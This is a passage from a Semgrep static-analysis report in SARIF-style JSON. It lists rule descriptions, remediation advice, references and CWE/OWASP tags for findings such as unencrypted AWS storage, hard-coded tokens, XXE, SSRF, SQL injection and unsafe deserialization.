Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ebs-volume-unencrypted.aws-ebs-volume-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.superagent.hardcoded-bearer-token.hardcoded-bearer-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.superagent.hardcoded-bearer-token.hardcoded-bearer-token","id":"javascript.superagent.hardcoded-bearer-token.hardcoded-bearer-token","name":"javascript.superagent.hardcoded-bearer-token.hardcoded-bearer-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.superagent.hardcoded-bearer-token.hardcoded-bearer-token"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a request using 'http://'. This request will be unencrypted. Use 'https://' instead."},"help":{"markdown":"Detected a request using 'http://'. This request will be unencrypted. Use 'https://' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.requests.request-session-with-http.request-session-with-http)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected a request using 'http://'. This request will be unencrypted. Use 'https://' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.requests.request-session-with-http.request-session-with-http","id":"python.lang.security.audit.insecure-transport.requests.request-session-with-http.request-session-with-http","name":"python.lang.security.audit.insecure-transport.requests.request-session-with-http.request-session-with-http","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.requests.request-session-with-http.request-session-with-http"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"A formatted or concatenated string was detected as input to a java.lang.Runtime call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized."},"help":{"markdown":"A formatted or concatenated string was detected as input to a java.lang.Runtime call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A formatted or concatenated string was detected as input to a java.lang.Runtime call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call","id":"kotlin.lang.security.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call","name":"kotlin.lang.security.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS Kinesis stream does not encrypt data at rest. The data could be read if the Kinesis stream storage layer is compromised. Enable Kinesis stream server-side encryption."},"help":{"markdown":"The AWS Kinesis stream does not encrypt data at rest. The data could be read if the Kinesis stream storage layer is compromised. Enable Kinesis stream server-side encryption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-kinesis-stream-unencrypted.aws-kinesis-stream-unencrypted)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/kinesis_stream#encryption_type](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/kinesis_stream#encryption_type)\n - [https://docs.aws.amazon.com/streams/latest/dev/server-side-encryption.html](https://docs.aws.amazon.com/streams/latest/dev/server-side-encryption.html)\n","text":"The AWS Kinesis stream does not encrypt data at rest. The data could be read if the Kinesis stream storage layer is compromised. Enable Kinesis stream server-side encryption."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-kinesis-stream-unencrypted.aws-kinesis-stream-unencrypted","id":"terraform.aws.security.aws-kinesis-stream-unencrypted.aws-kinesis-stream-unencrypted","name":"terraform.aws.security.aws-kinesis-stream-unencrypted.aws-kinesis-stream-unencrypted","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-kinesis-stream-unencrypted.aws-kinesis-stream-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Service is disabling TLS certificate verification when communicating with the server. This makes your HTTPS connections insecure. Remove the 'insecureSkipTLSVerify: true' key to secure communication."},"help":{"markdown":"Service is disabling TLS certificate verification when communicating with the server. This makes your HTTPS connections insecure. Remove the 'insecureSkipTLSVerify: true' key to secure communication.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.skip-tls-verify-service.skip-tls-verify-service)\n - [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.20/#apiservice-v1-apiregistration-k8s-io](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.20/#apiservice-v1-apiregistration-k8s-io)\n","text":"Service is disabling TLS certificate verification when communicating with the server. This makes your HTTPS connections insecure. Remove the 'insecureSkipTLSVerify: true' key to secure communication."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.skip-tls-verify-service.skip-tls-verify-service","id":"yaml.kubernetes.security.skip-tls-verify-service.skip-tls-verify-service","name":"yaml.kubernetes.security.skip-tls-verify-service.skip-tls-verify-service","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.skip-tls-verify-service.skip-tls-verify-service"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The object is passed strictly to jose.JWT.sign(...) Make sure that sensitive information is not exposed through JWT token payload."},"help":{"markdown":"The object is passed strictly to jose.JWT.sign(...) Make sure that sensitive information is not exposed through JWT token payload.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jose.security.audit.jose-exposed-data.jose-exposed-data)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"The object is passed strictly to jose.JWT.sign(...) Make sure that sensitive information is not exposed through JWT token payload."},"helpUri":"https://semgrep.dev/r/javascript.jose.security.audit.jose-exposed-data.jose-exposed-data","id":"javascript.jose.security.audit.jose-exposed-data.jose-exposed-data","name":"javascript.jose.security.audit.jose-exposed-data.jose-exposed-data","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jose.security.audit.jose-exposed-data.jose-exposed-data"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-joblib-django.tainted-joblib-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://joblib.readthedocs.io/en/latest/generated/joblib.load.html/](https://joblib.readthedocs.io/en/latest/generated/joblib.load.html/)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-joblib-django.tainted-joblib-django","id":"python.django.deserialization.tainted-joblib-django.tainted-joblib-django","name":"python.django.deserialization.tainted-joblib-django.tainted-joblib-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-joblib-django.tainted-joblib-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities","id":"kotlin.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities","name":"kotlin.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"help":{"markdown":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.cookie-missing-httponly.cookie-missing-httponly)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.cookie-missing-httponly.cookie-missing-httponly","id":"java.lang.security.audit.cookie-missing-httponly.cookie-missing-httponly","name":"java.lang.security.audit.cookie-missing-httponly.cookie-missing-httponly","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.cookie-missing-httponly.cookie-missing-httponly"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gin.ssrf.gin-tainted-url-host.gin-tainted-url-host)\n - [https://goteleport.com/blog/ssrf-attacks/](https://goteleport.com/blog/ssrf-attacks/)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/go.gin.ssrf.gin-tainted-url-host.gin-tainted-url-host","id":"go.gin.ssrf.gin-tainted-url-host.gin-tainted-url-host","name":"go.gin.ssrf.gin-tainted-url-host.gin-tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: go.gin.ssrf.gin-tainted-url-host.gin-tainted-url-host"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Avoid using unsafe `ruamel.yaml.YAML()`. `ruamel.yaml.YAML` can create arbitrary Python objects. A malicious actor could exploit this to run arbitrary code. Use `YAML(typ='rt')` or `YAML(typ='safe')` instead."},"help":{"markdown":"Avoid using unsafe `ruamel.yaml.YAML()`. `ruamel.yaml.YAML` can create arbitrary Python objects. A malicious actor could exploit this to run arbitrary code. Use `YAML(typ='rt')` or `YAML(typ='safe')` instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.deserialization.avoid-unsafe-ruamel.avoid-unsafe-ruamel)\n - [https://yaml.readthedocs.io/en/latest/basicuse.html?highlight=typ](https://yaml.readthedocs.io/en/latest/basicuse.html?highlight=typ)\n","text":"Avoid using unsafe `ruamel.yaml.YAML()`. `ruamel.yaml.YAML` can create arbitrary Python objects. A malicious actor could exploit this to run arbitrary code. Use `YAML(typ='rt')` or `YAML(typ='safe')` instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.deserialization.avoid-unsafe-ruamel.avoid-unsafe-ruamel","id":"python.lang.security.deserialization.avoid-unsafe-ruamel.avoid-unsafe-ruamel","name":"python.lang.security.deserialization.avoid-unsafe-ruamel.avoid-unsafe-ruamel","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.deserialization.avoid-unsafe-ruamel.avoid-unsafe-ruamel"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"AES symmetric cryptographic operations were identified using a key size of 128bit which is less than the industry standard recommendation of 256bit."},"help":{"markdown":"AES symmetric cryptographic operations were identified using a key size of 128bit which is less than the industry standard recommendation of 256bit.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-aes-keysize.insecure-crypto-aes-keysize)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"AES symmetric cryptographic operations were identified using a key size of 128bit which is less than the industry standard recommendation of 256bit."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-aes-keysize.insecure-crypto-aes-keysize","id":"swift.commoncrypto.insecure-crypto-aes-keysize.insecure-crypto-aes-keysize","name":"swift.commoncrypto.insecure-crypto-aes-keysize.insecure-crypto-aes-keysize","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-aes-keysize.insecure-crypto-aes-keysize"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'raw' renders raw HTML, as the name implies. This means that normal HTML escaping is bypassed. If user data can be controlled here, this exposes your application to cross-site scripting (XSS). If you need to do this, be sure to correctly sanitize the data using a library such as DOMPurify."},"help":{"markdown":"'raw' renders raw HTML, as the name implies. This means that normal HTML escaping is bypassed. If user data can be controlled here, this exposes your application to cross-site scripting (XSS). If you need to do this, be sure to correctly sanitize the data using a library such as DOMPurify.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.avoid-raw.avoid-raw)\n - [https://stackoverflow.com/questions/4251284/raw-vs-html-safe-vs-h-to-unescape-html#:~:text===](https://stackoverflow.com/questions/4251284/raw-vs-html-safe-vs-h-to-unescape-html#:~:text===)\n - [https://medium.com/sumone-technical-blog/a-pretty-way-to-unescape-html-in-a-ruby-on-rails-application-efc22b850027](https://medium.com/sumone-technical-blog/a-pretty-way-to-unescape-html-in-a-ruby-on-rails-application-efc22b850027)\n","text":"'raw' renders raw HTML, as the name implies. This means that normal HTML escaping is bypassed. If user data can be controlled here, this exposes your application to cross-site scripting (XSS). If you need to do this, be sure to correctly sanitize the data using a library such as DOMPurify."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.avoid-raw.avoid-raw","id":"ruby.rails.security.audit.xss.templates.avoid-raw.avoid-raw","name":"ruby.rails.security.audit.xss.templates.avoid-raw.avoid-raw","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.templates.avoid-raw.avoid-raw"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected non-static command inside `...`. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside `...`. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.dangerous-subshell.dangerous-subshell)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static command inside `...`. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.dangerous-subshell.dangerous-subshell","id":"ruby.lang.security.dangerous-subshell.dangerous-subshell","name":"ruby.lang.security.dangerous-subshell.dangerous-subshell","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.dangerous-subshell.dangerous-subshell"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a network listener listening on 0.0.0.0 or an empty string. This could unexpectedly expose the server publicly as it binds to all available interfaces. Instead, specify another IP address that is not 0.0.0.0 nor the empty string."},"help":{"markdown":"Detected a network listener listening on 0.0.0.0 or an empty string. This could unexpectedly expose the server publicly as it binds to all available interfaces. Instead, specify another IP address that is not 0.0.0.0 nor the empty string.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.bind_all.avoid-bind-to-all-interfaces)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Detected a network listener listening on 0.0.0.0 or an empty string. This could unexpectedly expose the server publicly as it binds to all available interfaces. Instead, specify another IP address that is not 0.0.0.0 nor the empty string."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.bind_all.avoid-bind-to-all-interfaces","id":"go.lang.security.audit.net.bind_all.avoid-bind-to-all-interfaces","name":"go.lang.security.audit.net.bind_all.avoid-bind-to-all-interfaces","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.bind_all.avoid-bind-to-all-interfaces"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a SQL query based on user input. This could lead to SQL injection, which could potentially result in sensitive data being exfiltrated by attackers. Instead, use parameterized queries and prepared statements."},"help":{"markdown":"Detected a SQL query based on user input. This could lead to SQL injection, which could potentially result in sensitive data being exfiltrated by attackers. Instead, use parameterized queries and prepared statements.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-sql-injection.laravel-sql-injection)\n - [https://laravel.com/docs/8.x/queries](https://laravel.com/docs/8.x/queries)\n","text":"Detected a SQL query based on user input. This could lead to SQL injection, which could potentially result in sensitive data being exfiltrated by attackers. Instead, use parameterized queries and prepared statements."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-sql-injection.laravel-sql-injection","id":"php.laravel.security.laravel-sql-injection.laravel-sql-injection","name":"php.laravel.security.laravel-sql-injection.laravel-sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-sql-injection.laravel-sql-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"help":{"markdown":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.cookie-missing-httponly.cookie-missing-httponly)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 